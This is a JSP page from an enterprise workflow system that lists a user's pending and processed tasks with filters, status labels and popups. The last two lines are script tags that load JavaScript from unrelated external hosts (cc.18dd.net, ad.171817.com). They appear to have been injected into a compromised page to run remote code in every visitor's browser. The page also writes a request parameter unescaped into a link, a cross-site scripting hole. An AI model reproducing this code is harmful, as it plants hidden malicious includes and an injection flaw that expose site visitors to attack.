<%
/*
 * @(#)ListWorkflowTask.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */
/**

  ListWorkflowTask.jsp

  This is a ListWorkflowTask page.  It shows the active workflow progress pending for the user to finish in EIP.

    @author             Angus Shiu
    @company            DCIVision Ltd
    @creation date      18/12/2003
    @version            $Revision: 1.93.2.35 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.web.*"%>

<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowProgressForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowTaskList";
  String      showProcessedList = request.getParameter("showProcessedList");

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            //{"workflow.columnheader.category", "WORKFLOW_CATEGORY_NAME"},
                            //{"workflow.columnheader.description", "WORKFLOW_DESCRIPTION"},
                            {"workflow.columnheader.priority", "PROGRESS_PRIORITY"},
                            {"workflow.columnheader.status", "STATUS"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"workflow.columnheader.step_name", "WS.STEP_NAME,WS.STEP_SEQ"},
                            {"workflow.columnheader.workflow_code", "WR.WORKFLOW_CODE,WR.WORKFLOW_VERSION"},
                            //{"workflow.columnheader.stage_name", "STAGE_NAME"},
                            {"workflow.columnheader.due_date", "DUE_DATE"},
                            {"workflow.columnheader.arrival_date", "CREATE_DATE"},
                            {"workflow.columnheader.from_whom", "CREATOR_ID"}
                          };


  String[][]  LABEL_MAP_PROCESSED = { {"ID", "ID"},
                            //{"workflow.columnheader.category", "WORKFLOW_CATEGORY_NAME"},
                            //{"workflow.columnheader.description", "WORKFLOW_DESCRIPTION"},
                            {"workflow.columnheader.priority", "PROGRESS_PRIORITY"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"workflow.columnheader.step_name", "WS.STEP_NAME,WS.STEP_SEQ"},
                            {"workflow.columnheader.workflow_code", "WR.WORKFLOW_CODE,WR.WORKFLOW_VERSION"},
                            //{"workflow.columnheader.stage_name", "STAGE_NAME"},
                            {"workflow.columnheader.due_date", "DUE_DATE"},
                            {"workflow.columnheader.status", "STATUS"},
                            {"workflow.columnheader.complete_flag", "COMPLETE_FLAG"},
                            {"workflow.columnheader.arrival_date", "CREATE_DATE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"workflow.columnheader.from_whom", "CREATOR_ID"}
                          };

  String[][]  ICON_MAP = {{"workflow.columnheader.priority", "IconPriority.gif"},
                            {"workflow.columnheader.status", "IconGreyFlag.gif"}
                         };
  
  String[][]  ICON_MAP_PROCESSED = {{"workflow.columnheader.priority", "IconPriority.gif"}};
  if(GlobalConstant.TRUE.equals(showProcessedList) ){
    LABEL_MAP = LABEL_MAP_PROCESSED;
    ICON_MAP = ICON_MAP_PROCESSED;
  }

  String[][] SEARCH_MAP = { {"form.columnheader.track_id", "WP.TRACK_ID"},
                            {"workflow.columnheader.category", "SOWC.WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.workflow_code", "WR.WORKFLOW_CODE"}
                            //{"workflow.columnheader.stage_name", "WSTAGE.STAGE_NAME"}
                          };

  String[][] DATE_SEARCH_MAP = {  {"workflow.columnheader.arrival_date", WorkflowProgress.SEARCH_ARRIVAL_DATE},
                                 {"workflow.columnheader.due_date",WorkflowProgress.SEARCH_DUE_DATE}
                               };

  String[][] PRIORITY_MAP = { {"common.priority.label_1", GlobalConstant.PRIORITY_LOW},
                              {"common.priority.label_2", GlobalConstant.PRIORITY_MEDIUM},
                              {"common.priority.label_3", GlobalConstant.PRIORITY_HIGH}
                            };


  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

   String functionType = "";
   if ( GlobalConstant.TRUE.equals(listWorkflowProgressForm.getShowProcessedList()) ) {
    functionType = "workflow.label.processed_list";
   } else {
    functionType = "workflow.label.pending_list";
   }

   List delegationList = (List) request.getAttribute("delegationList");
   String[][] delegationUserArr = new String[delegationList.size()+1][2];

   delegationUserArr[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
   delegationUserArr[0][1] = "";
   for (int i=0; i<delegationList.size(); i++) {
    UserDelegation delegatingUser = (UserDelegation) delegationList.get(i);
    delegationUserArr[i+1][0] = delegatingUser.getSourceUserName();
    delegationUserArr[i+1][1] = delegatingUser.getSourceUserID().toString();
   }
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  WorkflowRetrievalManager retrievalManager = new WorkflowRetrievalManager(sessionContainer, conn);

  WorkflowRecordDAObject workflowRecordDAO = new WorkflowRecordDAObject(sessionContainer, conn);


  String delegateUserRecordID = request.getParameter("delegateUserRecordID");

%>
<script language="javascript">
<!--
function CusOpListReset(frm) {
  frm.fromWhom.value = '';
  frm.priority[0].selected = true;
  frm.dateFrom.value = '';
  frm.dateTo.value = '';
  frm.referenceNumber.value = '';
  frm.dateSearchField[0].selected = true;
  frm.basicSearchField[0].selected = true;
  if(frm.attachmentName){
    frm.attachmentName.value = '';
  }

  if(frm.taskComment){
    frm.taskComment.value = '';
  }
  return OpListReset(frm);
}

function CusOpList(frm, sortValue, sortOrder, navMode) {
  if (frm.dateFrom.value!=''&&frm.dateTo.value!='') {
    if (compareDate(frm.dateFrom, frm.dateTo, true) > 0) {
      alert("<bean:message key='common.message.from_later_than_to'/>");
      return false;
    }
  }
  return OpList(frm, sortValue, sortOrder, navMode);
}

function OpViewProcess(trackID, id, workflowRecordID){
    var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode=WORKFLOW.TREE&trackID=" + trackID + "&ID=" + id + "&workflowRecordID=" + workflowRecordID + "&listView=Y";
    var name = "DCIVisionViewWorkflowProgress";
    var popW = "850";
    var popH = "600";
    var feature = "status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no";
    OpenCenteredPopup(url, name, popW, popH, feature);
    return false;
  }

function OpEditProcess(trackID, id, workflowRecordID, workflowStepID, delegateUserRecordID, workflowProcessStatus, navMode, listType){
  var url = "<%= request.getContextPath() %>/workflow/MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode="+navMode+"&trackID=" + trackID + "&ID=" + id + "&workflowRecordID=" + workflowRecordID + "&delegateUserRecordID=" + delegateUserRecordID + "&workflowStepID=" + workflowStepID + "&listType=" + "<%=listWorkflowProgressForm.getShowProcessedList()%>";
  var name = "DCIVisionViewWorkflowProgress";
  var popW = "850";
  var popH = workflowProcessStatus == "<%=WorkflowProgress.STATUS_PENDING%>"?"580":"635";
  var feature = "status=no,menubar=no,scrollbars=no,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  return false;
}

function togglePendingProceededList(){
    document.listWorkflowProgressForm.showProcessedList.value='<%=GlobalConstant.TRUE.equals(listWorkflowProgressForm.getShowProcessedList())? GlobalConstant.FALSE: GlobalConstant.TRUE%>';
    return(OpList(document.listWorkflowProgressForm, '<%=listWorkflowProgressForm.getSortAttribute()%>', '<%=listWorkflowProgressForm.getSortOrder()%>'));
}
//-->

</script>

<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowTask" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='showFullList'/>
<html:hidden property='showProcessedList'/>

<div id='topButtonArea'>
  <div id='buttonSection' class="buttonContainer">
	 <html:permissionButton right="N" label="workflow.label.delegation_list" link="ListWorkflowDelegation.do"/>
     <logic:equal name='listWorkflowProgressForm' property='showProcessedList' value='<%=GlobalConstant.TRUE%>'>
         <html:standardButton label="workflow.label.pending_list" onClick="return(togglePendingProceededList())"/>
     </logic:equal>
     <logic:equal name='listWorkflowProgressForm' property='showProcessedList' value='<%=GlobalConstant.FALSE%>'>
         <html:standardButton label="workflow.label.processed_list" onClick="return(togglePendingProceededList())"/>
     </logic:equal>
  </div>
</div>

<layout:listBar>
    <div class="button">
          <layout:returnButton className="but-standard"/>
        <%if( SystemParameterFactory.getSystemParameterBoolean("dms.enable_paper_document") ){%>
        <html:colheaderButton label="workflow.label.recv_paper_document" link='<%=request.getContextPath()+"/workflow/ListWorkflowRecvPaperDoc.do"%>'/>
        <%}%>
    </div>
    <layout:filterControl/>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress='onKeyPressHandler(event);'/></td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="dateSearchField" onkeypress="onKeyPressHandler(event);">
                    <html:options stringArray='<%=DATE_SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td colspan="2" nowrap>
                    <bean:message key='common.label.access_from'/>&nbsp;<html:datepicker property='dateFrom' onkeypress="onKeyPressHandler(event);"/>
                    <bean:message key='common.label.access_to'/>&nbsp;<html:datepicker property='dateTo'   onkeypress="onKeyPressHandler(event);"/>
                </td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap><bean:message key='workflow.label.delegating_user'/></td>
                <td class="filterPanelItem" nowrap>
                    <html:select property="delegateUserRecordID">
                    <html:options stringArray='<%=delegationUserArr%>' convertLabel='false' hasSelect='false'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>&nbsp;</td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap><bean:message key='workflow.label.priority'/></td>
                <td class="filterPanelItem" nowrap>
                    <html:select property="priority" onkeypress="onKeyPressHandler(event);">
                    <html:options stringArray='<%=PRIORITY_MAP%>' hasSelect='true'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>&nbsp;</td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap><bean:message key='workflow.columnheader.from_whom'/>:</td>
                <td colspan="2" nowrap><html:userpicker property='fromWhom' grantShowAdmin='ListUserWorkflowTask' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
            <%
                SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
                if ( sysFunction!=null && "A".equals(sysFunction.getStatus()) ){
            %>
            <tr>
                <td class="filterPanelItem" nowrap><bean:message key='workflow.search.related_object'/></td>
                <td class="filterPanelItem" nowrap><html:text property='referenceNumber' maxlength='30' onkeypress="onKeyPressHandler(event);"/></td>
                <td class="filterPanelItem" nowrap>&nbsp;</td>
            </tr>
            <%}%>
            <%if(GlobalConstant.TRUE.equals(listWorkflowProgressForm.getShowProcessedList())){%>
            <tr>
                <td class="filterPanelItem" nowrap><bean:message key='workflow.label.attachment_name'/></td>
                <td class="filterPanelItem" nowrap><html:text property='attachmentName' maxlength='30' onkeypress="onKeyPressHandler(event);"/></td>
                <td class="filterPanelItem" nowrap>&nbsp;</td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap><bean:message key='workflow.label.task_comment'/></td>
                <td class="filterPanelItem" nowrap><html:text property='taskComment' maxlength='30' onkeypress="onKeyPressHandler(event);"/></td>
                <td class="filterPanelItem" nowrap>&nbsp;</td>
            </tr>
            <%}%>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(CusOpList(listWorkflowProgressForm, '${listWorkflowProgressForm.sortAttribute}', '${listWorkflowProgressForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(CusOpListReset(listWorkflowProgressForm))"/>
    </div>
    <br style="clear:both" />
</div>

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table class="workflowTask">
  <!-- Table Column Header Begin -->
  <tr>
    <layout:columnHeader form="listWorkflowProgressForm" labelMap="<%=LABEL_MAP%>" iconMap='<%=ICON_MAP%>' sortAttribute="<%=listWorkflowProgressForm.getSortAttribute()%>" sortOrder="<%=listWorkflowProgressForm.getSortOrder()%>" checkColumn='false' editColumn='false' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->

  <!-- Record Looping Begin -->
  <logic:iterate id="workflowProgress" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <bean:define id='status' name='workflowProgress' property='status' type='java.lang.String'/>
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)workflowProgress).getID()%>);">
    <%!String mode = GlobalConstant.NAV_MODE_EDIT;%>
    <td valign="top" class="priorityColumn"><wfm:priority workflowProgress='<%=(WorkflowProgress)workflowProgress%>'/></td>
    <%if(!GlobalConstant.TRUE.equals(showProcessedList) ){%>
    <td valign="top" class="flagColumn"><wfm:statusFlag workflowProgress='<%=(WorkflowProgress)workflowProgress%>' inProgressIcon='IconRedFlag.gif' completedIcon='IconGreyFlag.gif'/></td>
    <%}%>
    <td valign="top" style="color:#0000FF; weight:bold;">
    <b><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), ((WorkflowProgress)workflowProgress).getTrackID() )%></b></a>
    </td>
    <td valign="top" class="stepnameColumn">
        <wfm:stepInfo workflowProgress="<%=(WorkflowProgress)workflowProgress%>" functionCode='<%=SystemFunctionConstant.WORKFLOW_TASK%>' delegateUserRecordID='<%=delegateUserRecordID%>' navMode='<%=mode%>'/>
        <logic:equal name='workflowProgress' property='postProgress' value='<%=WorkflowProgress.STATUS_POST_PROGRESS%>'>
        <a href="MaintWorkflowAssignProgressUser.do?navMode=E&delegateUserRecordID=<%=delegateUserRecordID %>&trackID=<bean:write name='workflowProgress' property='trackID'/>&ID=<bean:write name='workflowProgress' property='ID'/>&workflowRecordID=<bean:write name='workflowProgress' property='workflowRecordID'/>&workflowCategoryID=<bean:write name='workflowProgress' property='workflowCategoryID'/>&returnUrl=<%=java.net.URLEncoder.encode("ListWorkflowTask.do?"+request.getQueryString())%>"><html:img src='IconProcess.gif' /></a>
        </logic:equal>
    </td>
    <td valign="top"><bean:write name='workflowProgress' property='workflowCode'/>-<bean:write name='workflowProgress' property='workflowVersion'/></td>
    <td valign="top"><wfm:dueDate status='<%=((WorkflowProgress)workflowProgress).getStatus()%>' dueDate='<%=((WorkflowProgress)workflowProgress).getDueDate()%>'/></td>
    <%if(GlobalConstant.TRUE.equals(showProcessedList) ){%>
    <!-- Workflow Progress Status Begin -->
    <td valign="top" class="flagColumn">
      <!-- The status is "Submitted"-->
  	  <%if (WorkflowProgress.STATUS_SUBMIT.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
  	    <bean:message key='workflow.label.step_status_S'/>
  	  <%}%>
  	  
  	  <!-- The status is "Approved"-->
  	  <%if (WorkflowProgress.STATUS_APPROVE.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
  	    <bean:message key='workflow.label.step_status_A'/>
  	  <%}%>
  	  
  	  <!-- The status is "Rejected"-->
  	  <%if (WorkflowProgress.STATUS_REJECT.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
  	    <bean:message key='workflow.label.step_status_R'/>
  	  <%}%>
  	  
  	  <!-- The status is "Selected Yes"-->
  	  <%if (WorkflowProgress.STATUS_YES.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
 	      <bean:message key='workflow.label.step_status_T'/>
 	    <%}%>
 	    
 	    <!-- The status is "Selected No"-->
 	    <%if (WorkflowProgress.STATUS_NO.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
	      <bean:message key='workflow.label.step_status_F'/>
	    <%}%>
    
      <!-- The status is "Pending"-->
    	<%if (WorkflowProgress.STATUS_PENDING.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_P'/>
    	<%}%>
    	
    	<!-- The status is "Completed"-->
    	<%if (WorkflowProgress.STATUS_GENERAL_ACCOMPLISHMENT.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_U'/>
    	<%}%>
    	
    	<!-- The status is "Overdued"-->
    	<%if (WorkflowProgress.STATUS_NO_RESPONSE.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_N'/>
    	<%}%>
    	
    	<!-- The status is "Cancelled"-->
    	<%if (WorkflowProgress.STATUS_CANCEL.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_C'/>
    	<%}%>
    	
    	<!-- The status is "In Progress"-->
    	<%if (WorkflowProgress.STATUS_IN_PROGRESS.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_I'/>
    	<%}%>
    	
    	<!-- The status is "In Post Progress"-->
    	<%if (WorkflowProgress.STATUS_POST_PROGRESS.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_H'/>
    	<%}%>
    	
    	<!-- The status is "Rolled Back"-->
    	<%if (WorkflowProgress.STATUS_ROLLBACK.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_B'/>
    	<%}%>
    	
    	<!-- The status is "Revoked"-->
    	<%if (WorkflowProgress.STATUS_REVOKE.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_V'/>
    	<%}%>
    	
    	<!-- The status is "Skipped"-->
    	<%if (WorkflowProgress.STATUS_SKIP.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_K'/>
    	<%}%>
    	
    	<!-- The status is "Locked"-->
    	<%if (WorkflowProgress.STATUS_LOCK.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_L'/>
    	<%}%>
    	
    </td>
    <!-- Workflow Progress Status End -->
    <td valign="top">
        <logic:equal name='workflowProgress' property='completeFlag' value='<%=GlobalConstant.TRUE%>'>
        <bean:message key='workflow.label.step_status_T'/>
        </logic:equal>
        <logic:equal name='workflowProgress' property='completeFlag' value='<%=GlobalConstant.FALSE%>'>
        <bean:message key='workflow.label.step_status_F'/>
        </logic:equal>
    </td>
    <%}%>

    <td valign="top" class="bodyVerySmall" nowrap><bean:write name='workflowProgress' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <%if(GlobalConstant.TRUE.equals(showProcessedList) ){%>
    <td valign="top" class="bodyVerySmall" nowrap><bean:write name='workflowProgress' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <%}%>
    <td valign="top" class="bodyVerySmall" nowrap>
    <%
        List wkprogressList = retrievalManager.getNonSystemParent(((WorkflowProgress)workflowProgress).getTrackID(),((WorkflowProgress)workflowProgress).getWorkflowStepID());
        StringBuffer sbcomment = new StringBuffer();
        if ( wkprogressList.size() == 0 ) {
            sbcomment.append ("<nobr><b>" );
            sbcomment.append ( MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_"+ status) );
            sbcomment.append ( " at <b>"+ TextUtility.formatTimestamp(((WorkflowProgress)workflowProgress).getCreateDate())+"</b></nobr>");
        } else {
            for(int j=0;j<wkprogressList.size();j++){
                WorkflowProgress wkflowprogress = (WorkflowProgress)wkprogressList.get(j);
                sbcomment.append ( "<b><u style=\'font-size:11px\'>" );
                sbcomment.append ( retrievalManager.getStepNameByWkProgressID(wkflowprogress.getID()) );
                sbcomment.append ( "</u></b><br>" );
                List progressUserList = retrievalManager.getWorkflowProgressUserRecordListByProgressID(wkflowprogress.getID());
                for (int k=0; k<progressUserList.size(); k++) {
                    MtmWorkflowProgressUserRecord progressUser = (MtmWorkflowProgressUserRecord) progressUserList.get(k);
                    sbcomment.append ("<nobr>" );
                    sbcomment.append ("<b>" + progressUser.getUpdaterName()+"</b> at <b>");
                    sbcomment.append ( TextUtility.formatTimestamp(progressUser.getUpdateDate())+"</b>");
                    if (!Utility.isEmpty(progressUser.getReason())) {
                        sbcomment.append (":<br>&nbsp;&nbsp;<i>"+progressUser.getReason()+"</i>");
                    }
                    sbcomment.append ("</nobr>" );
                }
            }
        }
        String comment = sbcomment.toString();
        List userActorList = retrievalManager.getWorkflowProgressUserRecordListByProgressID( ((WorkflowProgress)workflowProgress).getID());
        if (!Utility.isEmpty( userActorList )) {
            for (int j=0; j<userActorList.size(); j++) {
                MtmWorkflowProgressUserRecord wfProgressUserRecord = (MtmWorkflowProgressUserRecord)userActorList.get(j);
    %>
        <a href="mailto:<%=UserInfoFactory.getUserEmailAddress(wfProgressUserRecord.getUpdaterID())%>" onmouseover="return getPopupInfo('<%=TextUtility.escapeJSString(TextUtility.br(comment))%>');" onmouseout="return nd();"><%=wfProgressUserRecord.getUpdaterName()%></a><br>
    <%
            }
        } else {
    %>
        <a href="mailto:<%=UserInfoFactory.getUserEmailAddress(((WorkflowProgress)workflowProgress).getCreatorID())%>" onmouseover="return getPopupInfo('<%=TextUtility.escapeJSString(TextUtility.br(comment))%>');" onmouseout="return nd();"><%=((WorkflowProgress)workflowProgress).getCreatorName()%></a>
    <%}%>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="baseLine">&nbsp;</td>
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET-2%>" class="baseLine">
    <wfm:relatedObjectInfo trackID="<%=((WorkflowProgress)workflowProgress).getTrackID()%>"  workflowProgress="<%=(WorkflowProgress)workflowProgress%>" tracking="false" />
    </td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
<layout:pager form="listWorkflowProgressForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
</layout:pager>
</div>
<!-- Pager Information End -->

</html:form>

<!-- Form Section End -->
<!--new document invitation-->
<div  id="NewDocumentInvitation" style="position:absolute;display:none;overflow=none;z-index:801;top:20px; background-color:white; left:100px;">
</div>
<script language='javascript'>
<!--
  function CancelDim(){
    var invtee = document.getElementById("NewDocumentInvitation");
    invtee.style.display="none";
    loadingStop();
  }

//-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>